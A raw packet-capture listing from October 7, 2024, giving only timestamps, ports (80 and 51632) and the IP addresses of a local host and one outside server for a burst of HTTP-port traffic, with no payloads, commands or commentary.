Oct 7, 2024 18:43:38.252255917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252263069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252269983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252270937 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252270937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252305984 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252361059 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252433062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252444029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252454042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252465010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252474070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252480030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252484083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252501011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252506018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252511024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252521992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252525091 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252532959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252548933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252549887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252561092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252569914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252571106 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252580881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252593994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252615929 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252732992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252743006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252753019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252763987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252772093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252773046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252799034 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252830029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252902031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252912045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252921104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252931118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252940893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252943039 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252950907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252960920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252969980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252978086 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.252980947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252990961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.252999067 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253002882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253011942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253022909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253030062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253038883 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253052950 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253053904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253062963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253072977 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253074884 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253084898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253094912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253108978 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253110886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253122091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253132105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253140926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253145933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253149986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253164053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253171921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253176928 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253182888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253189087 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253192902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253202915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253211975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253220081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253222942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253240108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253251076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253252029 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253261089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253271103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253277063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253281116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253292084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253302097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253305912 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253313065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253321886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253326893 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253336906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253345966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253348112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253355980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253365993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253367901 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253375053 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253386021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253388882 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253395081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253405094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253407955 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253415108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253426075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253434896 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253434896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253444910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253454924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253460884 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253464937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253475904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253484011 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253487110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253499985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253508091 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253513098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253524065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253528118 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253534079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253551960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253559113 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253561974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253566027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253571987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253587008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253633976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253648043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253659010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253669024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253679037 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253686905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253693104 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253696918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253706932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253709078 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253715038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253730059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253736973 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253743887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253745079 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253750086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253757000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253778934 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253798008 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253801107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253812075 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253820896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253832102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253834009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253842115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253853083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253861904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253864050 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253871918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253881931 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253891945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253897905 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253902912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253912926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253917933 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253921986 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253933907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.253937006 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253957987 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.253974915 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.336620092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336635113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336646080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336657047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336728096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.336728096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.336739063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336750031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336760998 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336772919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336783886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.336810112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.336920023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336930990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336941004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336955070 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336963892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336967945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.336975098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336986065 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.336988926 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.336996078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337007046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337007999 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337018013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337027073 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337054014 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337064028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337074041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337084055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337110996 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337126017 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337255001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337265968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337276936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337286949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337297916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337304115 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337308884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337318897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337330103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337337017 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337359905 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337383032 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337913990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337929010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337939024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337949991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337960005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337960958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.337970972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.337991953 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338011980 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338049889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338062048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338097095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338207960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338217974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338227034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338237047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338247061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338253021 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338258028 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338268042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338289976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338321924 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338471889 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338484049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338494062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338504076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338515043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338517904 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338525057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338574886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338574886 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338663101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338674068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338684082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338695049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338704109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338709116 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338715076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338725090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338735104 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338740110 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338745117 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338756084 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338757992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338781118 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338799000 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338804960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338815928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338825941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338838100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338845968 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338859081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338887930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.338973999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338984966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.338994980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339005947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339008093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339015961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339025974 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339026928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339037895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339047909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339057922 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339057922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339071989 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339078903 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339106083 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339129925 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339313984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339324951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339335918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339345932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339349985 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339356899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339368105 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339411974 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339492083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339504004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339514017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339524031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339534044 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339540958 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339545012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339555025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339565039 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339567900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339575052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339586020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339591026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339610100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339627981 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339634895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339646101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339656115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339665890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339674950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339684963 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339710951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339834929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339853048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339860916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339870930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339881897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339890957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339891911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339901924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.339909077 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.339935064 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.340009928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340022087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340032101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340042114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340054035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340056896 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.340064049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340074062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340074062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.340085030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340094090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340102911 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:38.340102911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:38.340114117 CEST	80	51632	95.164.90.97	192.168.2.4
